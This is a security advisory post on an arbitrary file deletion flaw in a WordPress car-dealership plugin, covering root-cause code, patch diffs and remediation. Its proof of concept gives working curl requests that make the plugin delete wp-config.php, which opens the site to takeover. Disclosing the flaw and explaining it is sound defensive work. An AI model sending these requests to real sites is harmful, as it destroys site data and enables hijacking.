CVE-2026-3892: Motors Plugin Arbitrary File Deletion (CVSS 8.1)
Table of Contents
CVE-2026-3892 is a CVSS 8.1 High arbitrary file deletion vulnerability in the Motors – Car Dealership & Classified Listings Plugin for WordPress. Any authenticated attacker with at least Subscriber access can set an arbitrary file path in their user profile, then trigger its deletion by uploading a new dealer logo.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Motors – Car Dealership & Classified Listings Plugin |
| Plugin Slug | motors-car-dealership-classified-listings |
| CVE ID | CVE-2026-3892 |
| CVSS Score | 8.1 (High) |
| Vulnerability Type | Authenticated (Subscriber+) Arbitrary File Deletion |
| Affected Versions | <= 1.4.107 |
| Patched Version | 1.4.108 |
| Published | May 13, 2026 |
| Researcher | Leonid Semenenko (lsemenenko) |
| Wordfence Advisory | Link |
Description
The Motors plugin is a popular WordPress plugin for car dealership and classified listing sites. It has over 10,000 active installations.
Versions up to and including 1.4.107 allow any authenticated user to set an arbitrary filesystem path via the profile update handler. When the user uploads a new dealer logo, the plugin deletes the old file using unlink(). Because there is no check that the stored path points to an image within the uploads directory, an attacker can point it at any file on the server.
Deleting wp-config.php is a common attack outcome. WordPress treats a missing wp-config.php as a fresh install. This lets the attacker reconnect the site to an attacker-controlled database and gain full admin access.
Technical Analysis
Root Cause: Unvalidated Path Stored in User Meta
The plugin registers stm_save_user_extra_fields() on the personal_options_update hook (includes/user-extra.php:358). This hook fires when any authenticated user saves their own profile at /wp-admin/profile.php.
// includes/user-extra.php:358–371
add_action( 'personal_options_update', 'stm_save_user_extra_fields' );
add_action( 'edit_user_profile_update', 'stm_save_user_extra_fields' );
function stm_save_user_extra_fields( $user_id ) {
if ( ! current_user_can( 'edit_user', $user_id ) ) {
return false;
}
// nonce check: update-user_<user_id>
if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'update-user_' . $user_id ) ) {
return false;
}
// ...
The authorization check current_user_can('edit_user', $user_id) passes for any user editing their own profile — including subscribers.
Further down, the handler saves stm_dealer_logo_path from POST data directly to user meta with no path validation:
// includes/user-extra.php:437–439
if ( isset( $_POST['stm_dealer_logo_path'] ) ) {
update_user_meta( $user_id, 'stm_dealer_logo_path', sanitize_text_field( wp_unslash( $_POST['stm_dealer_logo_path'] ) ) );
}
sanitize_text_field() strips HTML tags and extra whitespace. It does not restrict filesystem paths. The attacker can supply any path, such as /var/www/html/wp-config.php.
Trigger: Arbitrary File Deletion via Logo Upload
The attacker-controlled path is used by the become-dealer template (templates/user/private/become-dealer.php:156–168):
// templates/user/private/become-dealer.php:156–168
$user_old_avatar = get_the_author_meta( 'stm_dealer_logo_path', $user_id );
if ( ! empty( $user_old_avatar )
&& $user_new_image_path !== $user_old_avatar
&& file_exists( $user_old_avatar ) ) {
$args = array(
'meta_key' => 'stm_dealer_logo_path',
'meta_value' => $user_old_avatar,
'meta_compare' => '=',
'exclude' => array( $user_id ),
);
$users_db = get_users( $args );
if ( empty( $users_db ) ) {
unlink( $user_old_avatar ); // ← arbitrary file deleted here
}
}
When the user submits a new logo via the become-dealer form, the plugin:
- Reads the path stored in
stm_dealer_logo_pathuser meta. - Checks that the file exists with
file_exists(). - Checks that no other user references the same path.
- Calls
unlink()on the path — with no check that it is within the uploads directory.
Why the Nonce Does Not Prevent Exploitation
The update-user_<user_id> nonce is a standard WordPress nonce embedded in the profile edit form at /wp-admin/profile.php. Any subscriber who can log in can obtain this nonce by loading their own profile page. This is a CSRF token, not an authentication gate.
Admin UI Exposure
The stm_dealer_logo_path field is also rendered as an editable text input in the admin profile UI (includes/user-extra.php:276–279), visible to all users who access /wp-admin/profile.php. This makes it trivially easy to set the malicious path without crafting a raw HTTP request.
Proof of Concept
Disclaimer: This proof of concept is for educational and authorized testing purposes only. Do not use this against systems you do not own or have explicit permission to test.
Prerequisites: WordPress site running Motors plugin <= 1.4.107. Subscriber-level account.
Step 1 — Set the malicious path via the admin profile page.
Log in as the subscriber. Navigate to /wp-admin/profile.php. The page includes hidden inputs including the _wpnonce token. Copy the nonce value, then send:
# Replace <NONCE>, <USER_ID>, and <TARGET_FILE> with real values.
curl -s -X POST 'https://target.example.com/wp-admin/profile.php' \
-b 'wordpress_logged_in_<hash>=<cookie>' \
-d '_wpnonce=<NONCE>' \
-d 'action=update' \
-d '_wp_http_referer=%2Fwp-admin%2Fprofile.php' \
-d 'user_id=<USER_ID>' \
-d 'stm_dealer_logo_path=/var/www/html/wp-config.php'
This saves /var/www/html/wp-config.php as the subscriber’s stm_dealer_logo_path user meta.
Step 2 — Trigger deletion by uploading a new dealer logo.
Submit the become-dealer form with a valid image file. The plugin reads the stored path from user meta and calls unlink() on it.
curl -s -X POST 'https://target.example.com/become-a-dealer/' \
-b 'wordpress_logged_in_<hash>=<cookie>' \
-F 'stm_company_name=Test Company' \
-F 'stm_licence=12345' \
-F 'stm_location=New York' \
-F 'stm-avatar=@/tmp/test-logo.jpg;type=image/jpeg'
Step 3 — Verify.
curl -s -o /dev/null -w '%{http_code}' 'https://target.example.com/'
If wp-config.php was deleted, WordPress returns the installation wizard at /wp-admin/setup-config.php. The site is now fully compromised.
Patch Analysis
Version 1.4.108 fixes the vulnerability in two places.
Fix 1 — Path validation before saving to user meta (includes/user-extra.php:442–455):
-if ( isset( $_POST['stm_dealer_logo_path'] ) ) {
- update_user_meta( $user_id, 'stm_dealer_logo_path', sanitize_text_field( wp_unslash( $_POST['stm_dealer_logo_path'] ) ) );
-}
+if ( isset( $_POST['stm_dealer_logo_path'] ) ) {
+ $raw_path = sanitize_text_field( wp_unslash( $_POST['stm_dealer_logo_path'] ) );
+ if ( apply_filters( 'stm_mvl_is_path_within_uploads', false, $raw_path ) ) {
+ update_user_meta( $user_id, 'stm_dealer_logo_path', $raw_path );
+ }
+}
The new stm_mvl_is_path_within_uploads filter calls stm_mvl_is_path_within_uploads() in includes/helpers.php:1308. It resolves the real path with realpath() and rejects any path that does not start with the WordPress uploads base directory.
// includes/helpers.php:1308–1325
function stm_mvl_is_path_within_uploads( $path ) {
if ( ! is_string( $path ) || '' === trim( $path ) ) {
return true;
}
$path = trim( $path );
$dir = wp_upload_dir();
if ( ! empty( $dir['error'] ) ) {
return false;
}
$upload_basedir = $dir['basedir'];
$real_upload = realpath( $upload_basedir );
$real_path = realpath( $path );
if ( false === $real_upload || false === $real_path ) {
return false;
}
return 0 === strpos( $real_path . DIRECTORY_SEPARATOR, $real_upload . DIRECTORY_SEPARATOR );
}
Because realpath() resolves symlinks and removes ../ components, this check prevents directory traversal.
Fix 2 — Redundant guard at the deletion point (templates/user/private/become-dealer.php:167):
-if ( empty( $users_db ) ) {
+if ( empty( $users_db ) && apply_filters( 'stm_mvl_is_path_within_uploads', false, $user_old_avatar ) ) {
unlink( $user_old_avatar );
}
Even if user meta already contains a malicious path (from before the update), unlink() is now blocked for paths outside the uploads directory.
Fix 3 — UI fields hidden from non-admins (includes/user-extra.php:278–283):
The path input fields are now wrapped in current_user_can('edit_users'), so subscribers no longer see or interact with them in the admin UI.
The same three-part fix is applied to stm_user_avatar_path and stm_dealer_image_path as well.
Timeline
| Date | Event |
|---|---|
| May 13, 2026 | Wordfence advisory published |
| May 13, 2026 | Version 1.4.108 released with the fix |
| May 14, 2026 | This blog post published |
Remediation
Update Motors – Car Dealership & Classified Listings Plugin to version 1.4.108 or later.
Go to WordPress Admin → Plugins → Installed Plugins, find the Motors plugin, and click Update Now. Or download the patched version directly from wordpress.org.
References
- Wordfence Advisory — CVE-2026-3892
- CVE-2026-3892 on cve.org
- Motors Plugin on wordpress.org
- Plugin Trac — Commit history
Frequently Asked Questions
What is CVE-2026-3892?
CVE-2026-3892 is a CVSS 8.1 High severity arbitrary file deletion vulnerability in the Motors – Car Dealership & Classified Listings Plugin for WordPress. Any authenticated attacker with subscriber-level access can delete any file on the server, including wp-config.php.
Which versions of Motors – Car Dealership & Classified Listings Plugin are affected by CVE-2026-3892?
All versions up to and including 1.4.107 are affected. Version 1.4.108 contains the fix.
What can an attacker do with CVE-2026-3892?
An attacker can delete any file on the server. Deleting wp-config.php triggers WordPress reinstallation, allowing the attacker to take full control of the site.
Does an attacker need to be logged in to exploit CVE-2026-3892?
Yes. The attacker must have at least Subscriber-level access to a WordPress account on the target site.
How do I fix CVE-2026-3892 in Motors – Car Dealership & Classified Listings Plugin?
Update Motors – Car Dealership & Classified Listings Plugin to version 1.4.108 or later from the WordPress admin dashboard or wordpress.org.
Has Motors – Car Dealership & Classified Listings Plugin been patched for CVE-2026-3892?
Yes. Version 1.4.108 was released on May 13, 2026 and resolves this vulnerability.